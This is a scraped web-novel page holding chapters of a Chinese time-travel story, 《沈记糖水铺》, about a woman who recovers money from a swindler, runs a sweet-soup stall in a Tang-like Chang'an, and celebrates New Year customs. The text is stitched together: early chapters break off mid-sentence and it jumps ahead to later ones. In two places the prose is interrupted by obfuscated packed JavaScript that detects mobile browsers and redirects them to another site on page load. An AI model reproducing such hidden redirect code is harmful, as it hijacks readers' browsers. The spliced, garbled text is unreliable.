《沈记糖水铺》 1. 公堂告渣男 《沈记糖水铺》全本免费阅读 长安城,长寿坊西 人来人往的县衙门前,一名浑身是伤的年轻女郎引起了过路人的注意,纷纷侧目。 不过最多也就是好奇打量两眼,并没有好事者上前打听人家的伤心事。 倒不是大梁人民素质有多高,连瓜都不吃,而是这样的情形每日都有,已经不新鲜了。 沈朝盈怀揣一纸诉状,击鼓鸣冤,很快就有两个衙役出来,带她入内。 ...... 后来仔细回想,沈朝盈发现一切都要从那杯加了双倍珍珠的奶茶说起。 要不是急着打烊,她就不会把剩的小料一股脑给加了进去; 要不是心急,她就不会被噎住。 ...... 盯着青黑棉布帐顶许久才幽幽回神,沈朝盈叹一口气。 所以,眼下的情况是,穿了? 整理完原身的记忆,沈朝盈久久无语。 你们大梁人民可真是开放,看个灯,才子佳人一见倾心,互许终身,家中耶娘不同意,私奔了。 只是原身拿的似乎不是甜宠言情剧本,而是大女主复仇爽文剧本。 看这环境,这满身伤......沈朝盈望天,呵,这是遇人不淑,被坑惨了啊 到底占了人家身子,沈朝盈不好说看不起人家那话,忒没良心。 “吱呀”一声,门开了。 一个圆脸小尼端着汤药进来,见她睁着眼,“咦”了一声:“你醒了。” 沈朝盈还没张口,小尼已经把药放下,跑去外面喊人了。 既醒了,断没有要麻烦人家伺候自己喝药的道理。她挣扎着,拖着残损伤体,努力伸长手去够那药, 够着了,往嘴边送。 “既醒了——” 来的是清静庵专司接待宾客的知客明镜,蜂目鼠吻鹰钩鼻,精明长相,与她前世辞职之前的某位主管有几分神似,说出来的话也是一脉的冰冷, “便把这些日子租住的银钱给付了。” “咳咳......” 沈朝盈刚灌到嘴里的药差点没喷出来。 “啧” 明镜颇嫌弃地站得远了些。 沈朝盈微窘。 她咬牙。 不是她想当老赖,只是... 原身身上的钱财都被那渣男给卷走了,哪还付得起赁钱? 姑娘啊姑娘,也不知道留个心眼子,剃头挑子一头热,奔着情海一头猛扎进去,唉,触礁了吧。 眼下这关难过。 看多了穿越小说的沈朝盈,好歹还懂得隐藏自己。 忖度着原身说话习惯,虚弱蹙眉,捏起腔调,拿出少得可怜演技, “我昏睡这些时日,宣郎他可曾来看过......咳咳......” 明镜“嗤”地笑出声,“小娘子还当是在做梦呢,这儿是庵堂,尼姑庵,男子如何进得来?” 沈朝盈脸一白,摇摇晃晃快要栽倒。 明镜还继续戳“她”肺管子:“莫说他进不来,就是进得来,小娘子身上还有值得被搜刮的?” 沈朝盈央她别再说了,配合着身子一抖,落下泪来,就道要去见主持。 因为身上难受,三秒落泪的演技倒是手到擒来。 明镜不说话,那小尼到底不忍,替她应了。 被小尼搀着一瘸一拐向外走的时候,还能听见身后明镜凉凉的讽刺:“别以为师傅心善,就能饶了你的赁钱......呵。” 沈朝盈脚下一顿。 —— 沈朝盈是被渣男殴打之后晕在清静庵后门的。 浑浑噩噩,万念俱灰,被庵里尼姑捡了回来。 其他人怕惹上祸事,云心师太力排众议,拍板将她留了下来,是她的大恩人。 今日一见果然,云心师太生的便是和善的出家人模样,肉鼻头、厚嘴唇,额头饱满,天圆地方......沈朝盈赶忙打住自己那三脚猫的面相心理学,对师太施郑重一礼。 云心师太温声道:“小娘子如今可醒好了?” 沈朝盈咬一下唇,这个清醒,自然不光是指她人醒过来,好好的坐在这儿。更是问她可还执迷不悟。 原身也曾醒来过一次,却又闹着要出去找渣男。 出家人心善,但最忌讳过多干涉他人因果。 沈朝盈毫不怀疑,若自个儿再闹着要去找渣男,云心师太一定会连人带包袱地将她干净利落丢出去。 沈朝盈又是一礼,郑重道:“儿已清醒多了,还得谢师太好意收留。” 师太点点头。 云心师太确实和善,见她捉襟见肘,不仅让她继续在庵里养伤,还主动提出免了这些时日的赁钱。 “只是小娘子离家这样久,想必耶娘都担心得紧,也该写封书信寄去。” 云心师太说得很委婉,言下之意是她若不与家人修复关系,总不能一辈子住这儿吧。 沈朝盈却有另外主意,“师太是好意,儿却不能不知趣。儿已决心将银钱讨回来。” 欠人情,还是原身欠的人情,她不喜欢。 云心师太亦有些诧异。 这沈小娘子前日里还哭闹要见情郎,今日便改了主意,变了个人般? 心性果真这样坚韧,又怎至于落得这般田地。 但到底好事一桩。 在庵中租住的女施主迷途知返,是很值得高兴的一件事。 云心师太毫不吝啬,为她指了条明路:“长安令崔大人,为官很清正。” 沈朝盈再次拜谢。 虽说那渣男家住万年县,但,清静庵在长安县地界内,她去长安县衙报案,不算过分吧? 这才有了今日一趟。 —— 公堂上,年轻的长安令眉眼冷肃,微微带点压人气势。 长安县处京内,县官比畿县要高出两阶。一样是县令,嘿,人家长安令就是绯袍。 不过这绯袍也不是那么好穿的,天子脚下,常常受到京兆尹以上高层官员,甚至是皇帝的关注。 先帝、今上都曾亲召京兆府诸县令,访问畿内民情疾苦。 先帝爷爷时更是时不时压力一番京畿诸令:“诸县令等:抚绥百姓,莫先于宰字;煦育黎人,须自于厥德。卿等日在京畿,各亲吏理,务在用心,以安疲瘵,庶期成政,以副朕怀。” 在这种地方当父母官的,竟然是这样一位俊眉修目的年轻人么。 不是有靠山,就是有靠山。 她忙道:“民女所告,尽诉在状纸上。” 身体低伏,微微颤抖、弱弱低泣,十足一副被负心人抛弃后伤心欲绝的模样。 又因容色格外姣好,惹得堂下诸衙役不忍,好好一个明艳女郎,怎么弄成这样,唉 衙役捧上诉状。 长安令拿起状纸,才看第一行,便忍不住抬眼看向她,目光有些锐利:“女郎乃吴兴人氏?” 沈朝盈脸一白—— 这下可不是装的。 她怎么忘了,她公验上写的吴兴人氏,现出现在长安,这算不算浮逃人口?按梁律是要遣返的......先不说丢人与否,原身在家处境......啧,她可不想回去! 还没想好该怎么狡辩,那长安令却已收起锐利,继续往下看了起来。 沈朝盈松了好大一口气。 吴兴人状告万年县人,告到他长安县来......崔瑄蹙眉沉吟了一会,才放下诉状。 但看堂下那受蒙骗女郎一身新伤,楚楚可怜,若他不 2. 生意心理战 《沈记糖水铺》全本免费阅读 沈朝盈拿到剩下的银子,不免一阵肉疼。 这才几日功夫,原身给他的银钱便十去七八,那渣男,究竟睡了多少妓子!合该他阳痿! 因她是受害者,又如此凄惨模样,连一直冷眉冷目的年轻县令都缓声向她解释:到底她是吴兴人,对方是万年县人,长安县衙也只能代行基本职责。 将她所剩银钱给要回来后,只略判了张宣二十板子,便送还万年县衙了,估计此事也就此作罢了。 沈朝盈很能理解年轻的县令,初入官场嘛,总要谨慎着些!山外还有山,特别是在这吐粒瓜子壳能砸三顶官帽儿的长安城,比谁的靠山硬,哪能不谨慎啊? 在对方回过神来派人押送她回吴兴之前,沈朝盈见好就收,揣着钱,跑了。 —— 回到清静庵,总算将欠下的汤药钱与租住的赁钱一次性给付清后,荷包是空了下去,她心里压着的包袱亦是空了。 那不好相与的知客收了钱,依旧耷拉着眼皮,从鼻子里哼出一声。 沈朝盈另往后租了一个月,毕竟捉襟见肘,又要考虑往后生计,住庵堂里至少便宜,能省下不少。 关于生计,着实是个磨人的慎重决定。 沈朝盈静下心分析。 原身是被娇养大的,家中请了女西席,会认字,读过书,精通八雅。 沈朝盈不是个清高的,若要她依仗原身的底子卖艺为生,做个清倌也不是不行。 若是做到时下程行首那样程度,能名动长安似乎也不错,甚至后世野史上还能留下自己浓墨重彩的一笔。 但还是有些顾虑。 一则,这种“青春饭”吃一年少一年,年轻时“五陵年少争缠头,一曲红绡不知数”,色衰后便是“门前冷落鞍马稀,老大嫁作商人妇”,晚景凄凉。 二则到底水太深,说是卖艺不卖身,谁知道碰上的是不是黑心老鸨,亦或那客人素质不佳,强行动手动脚,那就比较恶心了。 手不能提,肩不能扛,还能做什么? 沈朝盈在回庵路上瞥见坊内不少食摊,心中一动。 若说自己还会什么手艺......前世加盟某连锁饮品店时死记硬背下来那几百个方子倒是没忘干净。要不,拿出来让大梁土著们也开开眼界? 沈朝盈越想越觉得可行,时朝嗜甜,吃个樱桃还要浇糖浆呢! 若真决定了做,还得往长远计,考虑这生意能做到什么地步。 沈朝盈花几日功夫仔细在长寿坊内打探了一番同行行情,饮品大类中,约莫可分为酒、茶、豆制品、奶制品及饮子五类。 前面几样都好理解,后世常见,但饮子和饮料却不是同一种东西。 饮子大约有些像凉茶,多由中草药和一些药食同源的食材熬成,味微苦,宣传是能治病,以至于嗜甜的大梁人民也乐意喝。 与长寿坊仅一坊之隔的西市便有一家规模极大的饮子店,据说店主是江南人士,早年来此治病,便是被一道士给的饮子方给喝好的。 有店主人“亲身代言”,效果十分好,生意红火到了要一早就代请人来排队的地步,甚至还有辛苦排到了,转头就在附近高价叫卖起来的。 懒得自己排队的富户家下人往往愿意掏这钱。看得沈朝盈咂舌,黄牛,原来这么早就有了! 这样盛景,成了沈朝盈的远期目标。 近期目标么,长寿坊内,亦可见不少饮子摊。 沈朝盈观察几日,发现愿意每天花几到十几文不等的闲钱买饮子喝的人家还是不少的。 在此做饮品生意,至少有赚头。 在长寿坊里接连转悠了几日,就在坊丁快要将她列入重点可疑对象时候,沈朝盈终于打定主意,置办了摆摊家私,将原材料采购齐全......一套下来,再次体会到了什么叫兜比脸干净。 —— 住在庵堂,却身染铜臭,为表歉意,也是为了叫货真价实的本土大梁人指点指点,沈朝盈先给云心师太送去了自己将要卖的杏仁露两碗。 杏仁用的是南杏仁,加些糯米,加些百合,加些薏仁,加些冰糖,研磨细腻,加水熬煮。 煮出来的杏仁露,色如牛乳,顺滑香浓。 “色白的这盏清爽,色红的这盏香甜,各有千秋。” 被她这样看重,云心师太受宠若惊,认真尝过后,给出了中肯意见, “我倒是觉得这清爽些的好,清爽却不清淡,喝下去似乎五内燥气都散了些.....与寻常我们喝的杏仁酪很不同,别有风味。沈小娘子加了些什么?” 沈朝盈笑道:“其余倒没什么,不同的是色白这盏加了梨肉,色红这盏则加了玫瑰、薯蓣。” 薯蓣即山药。 云心师太显然也好养生,合掌笑道:“善!药食同源,玫瑰柔肝醒胃,疏气活血,薯蓣乃上品之药,助五脏、强筋骨,长志安神,此饮男女老幼皆宜。” 还能健精,嘿。沈朝盈自动替云心师太没说完的后半句补全,可不是男女皆宜么! 众所周知,六味地黄丸中有味原料就是山药。 沈朝盈虚心求教:“若儿在坊间摆摊,售卖此饮,师太以为如何?” 云心师太惊讶,沈小娘子还不肯回家去么? “莫怪我多嘴,到底是亲耶娘,一家人,哪有隔夜仇呢?看小娘子这般知礼,想必家人也都和蔼。” 云心师太年纪大了,心肠也软,到这个年纪,虽是出家人,也多少有些向往天伦之乐,看待沈朝盈便如同看待庵中小尼一般,是真正把她当作自家晚辈来劝导的。 “家家有本难念的经。” 沈朝盈抿唇,笑得有些无奈。 云心师太点点头,言尽于此,转而说起她的杏仁露来:“其他都好,就是在这市井中叫卖,恐怕还得再加些蔗浆才够味儿。” 沈朝盈虚心受了,就又听得云心师太自话,“但若是卖与高门大户,这样却刚刚好。” ...... 原来师太也是选择困难症。 甜度那都是小事,若客人喝着不够甜,趁热乎的时候加一勺进去搅和搅和还能拯救。 —— 中秋过后,长寿坊中,离坊门不远处的一处小型早市,沈氏糖水摊紧锣密鼓地开业了。 刚度过了下半年中最热闹的三天假期,傅三郎走在街上还有些懒懒 3. 有一桩命案 《沈记糖水铺》全本免费阅读 第一天试水,只准备了约莫一半的量,倒也在日头完全升起之前卖光了。 沈朝盈掂掂专门缝来收银的挎包,不似时下挂在腰间装饰作用大于实用的那种荷包,感受到比来时明显沉重不少的分量,满意了。 回到清静庵一算,却是比自己估计的还多,去除成本,大约能挣四五十文,照今日这客流量来看,往后几天可逐渐加大量,一天怎么也能挣个七八十文,月薪便是两千多文。再去除赁钱,去除生活成本,还能攒下不少呢。 沈朝盈捧起一把铜板,猛吸了一口,别人都嫌铜臭难闻,不仅是生理意义上的,但她的表情却是近乎陶醉。 沈朝盈的人生信条便是挣钱,挣花不完的钱。 不管是上辈子还是如今身在异乡,她都是孑然一身,只有腰包鼓了,心里才能踏实。 —— 熬煮杏仁露借用的是清静庵的灶间,因她付了赁钱,倒也没人说什么,只是明镜向来看她不顺眼,每每碰见了少不得挤兑几句。 沈朝盈念着她当日没将自己丢出庵堂的情谊,对此一般不大理睬,并宽慰自己这是以直报怨,既不为感情所左右,也不存私心与成见,颇有儒家之风。 那日给她送药的小尼,法号虚缘,今年新入庵,眼下正跟着师兄师姊们一起随云心师太的大弟子明空修行。 庵里做完早课吃朝食的时辰正是沈朝盈出摊的时候,沈朝盈推着小车,在廊下碰见蹦蹦跳跳的虚缘,冲她一笑。 “快过来。”沈朝盈接了一筒杏仁露给她。 虚缘接过,朝她道谢后,又蹦跳着走远了。 看新入庵的小尼这般有活力,沈朝盈也觉得自个浑身充满了干劲。 挣钱!什么都没有钱重要! 适应了几日,沈朝盈的生意越发好了,出摊约莫半个时辰就能卖空。 毕竟每日需早起出入坊间的来来回回也就那些人,几乎都知道坊门附近的早市上新支了个糖水摊,卖的杏仁露很清甜,比苦涩的饮子好喝不少,又能养生。 十文钱,路过顺手就买了。 今日还有富户遣下人一早来买的,小厮一副没睡醒的模样,打着长长的哈欠,抱怨道:“你这什么都好,就是怎么只在早晨摆摊呢?我家小郎君昨日听同窗说起你这个,冒夜出来寻没寻到,闹了一宿,害我这么早起。” 这意见无伤大雅,沈朝盈并不往心里去,只是在打的时候,也给那下人装了半筒,让他也尝尝。 那小厮反倒不好意思起来。 有这般为了哄孩子的,也有去上值的年轻官员,约莫是觉得自己身体被工作掏空了,一气买了□□份,“便都要这玫瑰薯蓣的,小娘子稍等。”待他回身,竟然掏出个大肚茶壶来。 沈朝盈忍笑,替他打了九份,见茶壶也快满了,便好心地顺手替他加满:“郎君好走。” 浅青官服,基层干部......嗯,是要辛苦些。 再看那官员,面白瘦削,眼下顶着两个淡青眼圈,一看昨夜就没少熬,年轻人呵 面对这样顺水人情,那官员显然很受用,腼腆地留下银钱:“小娘子太客气。” 沈朝盈拿起来一数,多了几枚。嗯,会做人的基层,离出头不远了。 沈朝盈腹诽一通,却不知道他是为了给同僚代购。 一切都源于昨日早晨,长安县衙,大伙在吃着公厨难以下咽的朝食时,忽然见荀录事一边啜饮一口案上竹筒里的饮子,一边咬清淡的豆饼,表情几乎可以算是享受。 另一位樊录事忙问:“今日这豆饼做得好吃?那我明日也拿一个试试。” 荀录事摇摇头,等将嘴里的食物尽咽下,才道:“寡淡无味,但配上这香浓杏仁饮,倒尚可。”岂止是尚可,看他那表情。 众人追问之下,今日便托家住附近的邱书吏替大家代为购买。 当大伙都喝上温热香甜的杏仁露时,顿时惊为天人,“这杏仁露无愧乎‘露’之名,便如初阳朝升之花露,清甜爽口,与杏仁酪是完全不同滋味。” 樊录事左一口豆饼,右一口杏仁露,露出了幸福的微笑。 “荀录事的眼光果然好,杏仁甜香配着玫瑰清香,蔗浆放得刚刚好,甜而不腻,某第一次觉得公厨的吃食也不是那般寡淡。” 也有那打起了长远计的,先夸一番邱树:“还是多亏了邱书吏,若不是邱书吏,香饮子再好,我们哪能喝到?” 这群基层县官们多是初入官场历练的年轻人,上未老,下无小,那一点俸禄只拿来糊自己一张口,对他们来说,十文钱,算不得什么。能因此叫一早晨吃得踏实,值了! 范县尉拍拍下属的肩,“呵呵,日后少不得麻烦邱三你了。” 樊录事则趁众人不注意,凑到邱树身边:“嘿嘿,邱兄,下回给某单独带一壶吧,慢慢喝,便不显得处理公事时辰漫长了......” ...... 邱书吏正待说什么,恰抬头,见廊下崔瑄快步走来,忙坐回自己的位置,眼观鼻鼻观心,廨房里还残存着香甜气。 最油滑的范县尉哪能错过这拍马屁机会,忙上前殷勤:“小崔大人用朝食了?下官多拿了几块豆饼,配着这外间买的杏仁露吃,觉得还不错,小崔大人尝尝?” 崔瑄放缓脚步,眼梢扫过他手中:“不必。”便径直进了里间。 其余人松了口气,将剩下的朝食三口并两口塞进嘴里,收心看向各自手里的公事。 不一会儿,里面传来崔瑄叫人进去的声音。 被点到的邱书吏忙将昨晚熬夜整理出来的案卷收拾齐整,敛襟肃容,快步走了进去。 —— 近日京中发生一起命案,就在敦义坊中,尸体过了三日才被人发现,秋老虎尚未褪去,也导致了尸体损坏速度极快,大大增加了仵作检验难度。 不过姚仵作经验丰富,还是推断出来此女的死亡时间、地点及方式。 奇怪的是,这陶七娘死于家中,财物却一件也没丢,身上伤处更是达十七处,又刀刀不致命,是血流干而死。 这般残忍手段,崔瑄起初以为是仇杀,问过周围邻居,却都说陶七娘性子和顺,从不与人结仇,奇也怪也。 那凶手夜半作案,神出鬼没,竟无一人察觉。 女尸也没有遭受过侵犯。 县衙诸人抓破脑袋之时,崔瑄却想起三月前万年县的一桩悬案来,也是命案,死者同样都是年轻女郎,放血而死,这案子至今未破。 崔瑄当即去了一趟郭县令那儿,借来了这桩案子的卷宗,交由邱书吏与陶七娘的一并整理出相同处、不同处出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852090|134612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔悦的生母云氏一贯温柔,与谢氏的温柔下藏着高门贵女的骄傲不同,寒门出身的她对任何人都是低眉顺眼的,甚至侍奉谢氏这个嫡妻比侍奉肃国公更加殷勤诚恳,从不闹出事端让谢氏烦心。 因着这层缘故,谢氏待三娘也更和蔼。 崔瑄冲崔悦微微颔首。 小姑娘害了羞,猛地将头埋进乳母的臂弯。 崔瑄总算挂起淡淡微笑,可惜招人烦的目光紧跟着就黏了过来,阴阳怪气:“长兄倒真是疼爱三娘呢,我还从未见过长兄这般和颜悦色过。不过说来,便是阿珣也少见吧?怕是要吃味了。” 崔瑄收了笑,冷声道:“你话若少些,我一样疼爱你。” 崔珣虽年幼,仰慕长兄风采,也渴望长兄关爱,但不至于跟个外人一条心,当下一板一眼道:“阿兄公务繁忙,难得回府与我们团聚,悦娘思念长兄,我却是才从长兄分别不久,自然不会生气。” 若是放在从前,肃国公自然要因二人言语“戏弄”自个最疼爱的二郎而训斥对方,可今日却不同。 一则,崔瑄已不是白身,正正经经的五品官,又是绯袍县令这样特殊的身份,再动辄训斥,不合适。 二则,父子二人方才已在书房起了争执,本就是肃国公有求于他,这会虽拉不下脸修复关系,却也不好再寒了长子心。 三则,方才赴宴之前,他才服过明心丹,这会正是药效起作用之前虚弱时刻,有心也无力。 权衡之下,肃国公只当作没听见那些话,自顾端起酒杯,敬天地,祭祀灶君,谢氏端着温婉的笑,配合他做表面功夫。 ...... 吃了饭,仿佛了了一桩公务,崔瑄送母亲、幼弟回屋,又嘱咐几句关心之语,便冒着渐大的风雪往外走。 谢氏也没留他,比起待在府里,恐怕在衙门通宵达旦处理公务都更让这位长子舒心。虽然私心上,她也希望日日都能见到自己孩子...... 仆妇关了院门,阿青在前引路,灯笼朔风中摇动。 崔瑄朝后看了一眼,正院的灯火歇了下去,归于平淡,另一侧,柳氏、虞氏两个侍妾所居的出云阁依旧灯火通明。 在这冷寂小年夜,笙歌落幕后,朔风带来肃国公欢畅的笑声、二女娇羞的调笑声,拂过崔瑄冷峻的神色,吹乱他的袍角。 崔瑄毫不留念,提脚大步往外走去。 21. 元正节习俗 在这会儿,还没有“春节”这个概念,但除夕与元正,依旧是除了冬至以外最热闹的一个大节。 除了各衙门自个安排值班的人员,朝廷上下统统放假七日,便是民间酒肆食肆也多半停业盘账过节去了,早的也得过了初五再开业,迟的直到初七人日、十五元夕之后才歇够。 宫里和高门大宅中惯用鲜艳的丝绢裹上树枝,装点金箔,以遮盖冬日凋零之色,大酒肆门口的灯笼也换成了红色,装饰一新,喜迎新岁。便是寻常人家,家家户户也都换了桃符桃板子,贴了春联、门神、彩胜等装饰,装点得喜气洋洋。 除夕当夜,吃过团圆饭,见坊里热闹得厉害,沈朝盈便带着阿翘出去看歌舞百戏。 今夜的重头戏还是傩戏,宫里有专门养着的巫师举行驱鬼仪式,各坊中亦早早选出了适龄少年,排演傩戏。 这会的傩戏继承了前朝的风俗,不过,随国力渐渐强盛,傩戏代表的宗教意味逐渐变得淡薄,而更多是代表了一种民俗娱乐—— 本坊的官员也会参与排演、布置,故而傩戏是当下官民同乐的重要活动。 沈朝盈虽有原身的记忆,但毕竟只是记忆,真当身临其境,见了为首的一个十二三岁的少年带着张牙舞爪的面具,穿着红黑相间的衣裤击鼓领唱,这是“唱帅”,身后还跟着一群同样张牙舞爪的“伴舞”,念唱着枯燥神秘的宗教吟唱,咿咿呀呀,听不真切...... 她被这激昂的鼓点弄得不大舒服,跟那驱鬼的“太卜令”、“巫师”对视之后,起了一身鸡皮疙瘩,便捂着阿翘的眼睛耳朵挤出了人群。 “别怕,咱们去看看有什么新鲜吃玩的。”她故作老成,紧紧揽住阿翘的肩,怕走散了。 阿翘茫然:“我没怕呀。” “......” 沈朝盈自然不会承认自己还没一个十三四岁的小丫头胆大,只当周围太吵闹没听见,自顾搂着她逆人流往前。 崔瑄与县衙的几个官员在坊内巡视一圈,其余各坊,也安排了家住附近的官员注意疏散人群,以及安排有坊丁在各个路口巷口看守,以及时避免踩踏闹事情况。 看了会儿傩戏,中途就碰上了不下三个走丢的小孩,崔瑄将人领到路口宽阔处等着,等傩戏散了,再派人送家去。 “今夜宫中也有傩子,不知有没有这般热闹?” 尹县尉笑呵呵与这位比自己年轻近十岁的上峰搭话。 崔瑄目光温和,似也被这俗世烟火热闹场景感染了,淡淡一笑:“禁内自是更为壮观,我们如何能比?” “这是自然,” 尹县尉揣摩着上峰神色,夸赞起今年的傩戏来,“咱们虽只是一个坊,却能官民同乐。大家见了小崔大人,都高兴得紧呢。说来今年的‘方相氏’选得很好啊。” 带着獠牙面具都能看出其俊美之姿,引得不少本坊小娘子驻足观看,又是谁在看年轻小娘子走不动道呢...... 崔瑄随着他的话,目光远移,就看见一个眼熟的小娘子被坊丁林祥拦着说了什么,面红耳赤,有些无措地四处看着。 “嗬,那不是沈小娘子么?也来看傩子?”尹县尉眯着眼,总算也看清了。 崔瑄抬脚走过去。 “怎么回事?” 林祥见两位长官竟然亲自过来,忙回:“属下看人流太多,这位小娘子逆其道而行,恐被绊倒。” 沈朝盈拉着阿翘站在一边,脸微红,刚刚这坊丁上来就指责她一通,仿佛她做了什么扰乱秩序事一般。 崔瑄看她表情,微蹙眉,似有不服,忽然觉得有趣,沈氏女郎伶牙俐齿,还是头回从她脸上看见这种吃瘪神情。 崔瑄温声道:“辛苦了,你去坡下守着吧,这里有我们。” 林祥忙道“应该的”,便领命而去。 崔瑄再对沈朝盈道:“女郎莫怪,坊丁亦是担忧女郎安危。” 沈朝盈福身:“坊丁尽职尽责,大人们仁善和气,是坊内百姓之福气。” 这话说的漂亮,几人都笑起来。 “小娘子也来看傩戏?觉着如何?”尹县尉巴不得逢人就炫耀自己办了件好差事,笑问。 沈朝盈欣赏不来,但也笑着致意:“雄浑得很,濯洗心境。” 尹县尉更加乐呵,崔瑄看她口不对心面色,淡笑道:“我护送女郎。” 得多大的面子,得长安令大人“护送”?沈朝盈忙道,“不敢打扰二位大人观礼,儿等自行回去即可。” 崔瑄只道他也看累了,正好去城北走走。 城北,正好是方才沈朝盈他们过去的方向。 说罢已经提脚走在前面。 沈朝盈只好跟上。 崔瑄带着两人从一侧人员较稀疏的地方钻了出去,说“稀疏”只是相较,实则依旧是摩肩接踵的,莫说身高八尺余的崔瑄了,便是是娇小些的沈朝盈二人,衣裳也都皱得不成样子。 沈朝盈瞅见三人狼狈样子,实在忍不住在人面前失礼,笑了起来。 崔瑄亦无奈而笑。 笑过后,朝崔瑄致谢,“多谢小崔大人一路相送,便不打扰大人清净了。” 崔瑄颔首,目送二人离去。 带着阿翘在小摊小贩处买了些零嘴玩意儿,便回了家。 今夜要守岁,直至天明方可睡去,这些零嘴跟玩意儿便是用来打发漫漫长夜的。 屋内奢侈地烧了地炉,温暖如春,二人又不出门,只穿着单衣在屋里,脱鞋上榻,对坐着,将方才买来的东西一溜铺开在面前小几上。 一整只燠鸭,一碟几张古楼子,一碟糖糕,几碟子下酒小菜。 沈朝盈从厨房端来酒跟花椒——守岁时有个习俗便是喝花椒酒。 花椒可是稀罕物,将花椒装入盘中,饮酒之前取一粒花椒放入酒杯中,边喝着花椒酒边守岁,祈盼来年顺意。 花椒在时下被看作是神灵食物,代表了许多美好的含义,被酿成美酒祭祀神灵。 因着这层含义,沈朝盈不禁也猜测,在后世流传甚广的那两位杰出女性之间友谊代表词“千年万岁,椒花颂声”中,“椒”便是花椒之意。 愿其永远享受椒花芬芳,祝长寿与幸福,不仅在那时,亦是不久之后的当下最美好的祝愿。 沈朝盈画了扑克牌,教阿翘玩钓鱼打发时间。 到了夜半子时,人们要放鞭炮,以祛除恶鬼。 外头燃起一片爆竹声,喧彻夜阑,阿翘与沈朝盈也披了裘衣出去,在院子中点燃早备下的鞭炮,看城楼上绽放的烟花,盛大瞩目,无论从哪个坊抬眼向北看去,都第一眼能看见。 鞭炮纸衣如星,碎落如雨,团簇的光亮渐次四散消亡,不消半刻便归于宁静,外头却依旧灯火辉煌,家家户户守岁迎新,站在院中亦可闻隔壁欢声笑语。 宫中彻夜燃烧檀香篝火,圣人于延英殿大摆宴席,宴请皇亲国戚与朝中重臣,一整夜观看乐舞,赋诗唱和,十分畅快。 这是都城长安,多么熟悉的璀璨华光,沈朝盈作为异乡人,终于在这千年以前的长安找到了些微的归属感。 沈朝盈的心境很澎湃,亦很明澈,更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12876473|134612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是一种骄傲自豪。 时间延续千年,文化便传承了千年,虽物是人非,如守岁等习俗却至今薪火未绝,唯我大中华文明举世无双。 ...... 沈朝盈跟阿翘到底没撑到清晨就在榻上睡着了,却不是困的,而是醉的。 酒不烈,对付两个涉世未深的小娘子还是绰绰有余。 不过今日无事,便是睡上一整日也无妨——沈朝盈沿袭了后世传统,初一不兴忙活,否则这一整年有的忙的。 崔瑄却没这么好的悠闲。 今日元正,乃是“岁之元、时之元、月之元”三元,作为一年最隆重的日子,圣人要在含元殿举行元日大朝会,所有从地方诸道赶来为元日贺正的贺正使也都在元日这天随京官一同参与朝会拜见,献上贺表。 拂晓之时,宫中已是一派肃穆而忙碌的景象。 众官及皇亲国戚着朝服按品阶方位列队候下,殿阶之上,烛火通明,陈设礼乐、历代宝玉、车乘,仪仗十分庄严。 帝着衮冕、后着朝服临轩,接受千官拜礼,四方贺仪。 万条红烛燃烧产生的烟雾缭绕于大殿上方,朝霞渐深,清晨第一缕曦光夺云而出,声声“万岁”响彻天际,似乎亦穿透这四四方方宫阙,在大梁广袤疆土上回荡。 便如诗中所言,“百蛮奉遐赆,万国朝未央。” 对于圣人而言,皇权的至高无上在这一刻体现得淋漓尽致,心潮该是何等的澎湃。 但对于站在阶下的崔瑄等官员来说,其流程自是又臭又长。 整整一个上午,总算是结束了,归家路上,便见坊中的民居已经挂上了飘扬的春幡。 沈朝盈也入乡随俗,于阿翘合力在院中竖起长长竹木竿,竿顶飘悬着二人缝的布幡子,比起旁人家花样繁多的春幡,她们的朴素是朴素了些......哎呀,讨个吉利嘛! 沈朝盈看到那幡子,便感觉有人在骂她的女红,老脸一红。 出门扫雪,又碰上崔瑄车驾。 这么巧,她该要以为对方是“刻意偶遇”了。 沈朝盈笑眯眯地送上今日第一份贺节之辞:“元正启祚,万物惟新,伏惟郎君尊体万福。” “伏”就罢了,想想二人面对面单膝下跪那场景,怪怪的。 这是元正日第一奇葩习俗,无论贵贱,官员或百姓夹道相逢,都得遵循礼节相互拜贺,右膝着地,说贺节之词。 逢人拜年就要右膝下跪,沈朝盈着实有些接受不了。 也好在大梁人选择性叛逆的多,也不会见人就跪,大概还是官员之间比较多。 崔瑄也淡笑颔首:“元正启祚,万物惟新,女郎万岁。” 沈朝盈被对方看着,干笑着也道了声“万岁”。 这便是元正日第二奇葩习俗,逢人见面就说“万岁”。 比起第一种让所有人都吃不消的礼节,这种口头恭贺显然更为受欢迎,且我们大梁人民看起来是真的喜欢,眼前就有个心满意足的小崔大人。 “本坊宝华寺金昌法师今日开设俗讲,讲《华严经》,女郎无事可去转转。” 沈朝盈笑道:“小崔大人辛苦,元正日还为咱们这样升斗小民劳心费神,真是为官之楷模,我等之典范啊。” 崔瑄淡笑,不说话了,吩咐车夫继续前行。 沈朝盈目送对方淡然背影,“呵”地笑出声。 崔瑄这厮,每回听见自己拍马屁时装得一脸云淡风轻样子,实则马尾巴都翘上天了,好道貌岸然! 也是,谁不喜欢听好话呢。 22. 元日五辛盘 沈朝盈还好,阿翘年岁小,从没沾过酒,醒来的时候已经过了晌午饭点了。 小丫头洗漱到一半忽然懊悔起来:“小娘子怎不叫我呢?” 